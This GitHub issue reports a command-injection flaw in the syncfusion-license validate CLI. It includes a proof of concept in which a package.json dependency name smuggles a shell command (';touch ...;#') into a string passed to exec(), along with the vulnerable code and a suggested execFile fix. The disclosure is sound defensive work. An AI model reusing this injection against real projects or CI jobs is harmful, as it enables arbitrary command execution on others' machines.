Skip to content

Command injection in syncfusion-license validate via package.json dependency name #215

Description

@Dremig

Description

@syncfusion/ej2-base publishes the syncfusion-license CLI:

syncfusion-license

The syncfusion-license validate command reads dependency names and versions from the current project's package.json. For Syncfusion package entries, it builds an npm view command by string concatenation and executes it with child_process.exec().

Because the package name is read from package.json and is not shell-escaped before being concatenated into the command string, shell metacharacters in a dependency name can execute arbitrary commands.

This is reachable through the public CLI and does not require importing internal files.

Affected Version

Confirmed affected:

@syncfusion/ej2-base 33.2.3

33.2.3 is the current npm version tested.

To Reproduce

rm -rf /tmp/syncfusion-poc /tmp/syncfusion-aci
mkdir -p /tmp/syncfusion-poc
cd /tmp/syncfusion-poc

printf '%s' '{"dependencies":{"@syncfusion/ej2-base;touch /tmp/syncfusion-aci;#":"33.2.3"}}' > package.json

npx -y -p @syncfusion/ej2-base@33.2.3 syncfusion-license validate

test -f /tmp/syncfusion-aci && echo "VULNERABLE"

Observed Result

The marker file is created:

VULNERABLE

In my local reproduction, the command exited with an unrelated readline error after the injected command had already executed:

Error [ERR_USE_AFTER_CLOSE]: readline was closed

To confirm the exact shell command, I also hooked child_process.exec():

const cp = require('child_process');
const orig = cp.exec;

cp.exec = function(command, ...args) {
  console.error('[exec]', command);
  return orig.call(this, command, ...args);
};

The logged command was:

[exec] npm view @syncfusion/ej2-base;touch /tmp/syncfusion-aci-hook;#@33.2.3 version

The marker file /tmp/syncfusion-aci-hook was created as well.

Expected Behavior

Dependency names and versions read from package.json should be treated only as npm package identifiers. Shell metacharacters such as ;, #, $(), backticks, quotes, or spaces should not be interpreted by a shell.

Root Cause

The published bin/syncfusion-license.js script is minified/obfuscated, but the vulnerable data flow is visible in the published package:

exec('npm view ' + packageName + '@' + version + ' version', callback);

packageName comes from keys in package.json dependencies/devDependencies. Since child_process.exec() runs through a shell, a package name such as:

@syncfusion/ej2-base;touch /tmp/syncfusion-aci;#

turns the intended command into:

npm view @syncfusion/ej2-base;touch /tmp/syncfusion-aci;#@33.2.3 version

This executes touch /tmp/syncfusion-aci.

Impact

If a developer, CI job, release workflow, repository scanner, or support automation runs:

syncfusion-license validate

inside an attacker-controlled or untrusted project directory, arbitrary shell commands can execute with the privileges of that process.

This can affect workflows that validate dependencies or licenses before installing/building a project.

Suggested Fix

Avoid constructing shell command strings for npm view.

Use child_process.execFile() or spawn() with shell: false and pass arguments as an array:

execFile('npm', ['view', `${packageName}@${version}`, 'version'], callback);

Also consider validating dependency names with npm package-name validation before invoking npm.

Environment

OS: macOS arm64
Node.js: v24.10.0
npm package: @syncfusion/ej2-base@33.2.3
CLI: syncfusion-license validate

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type
    No fields configured for issues without a type.

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions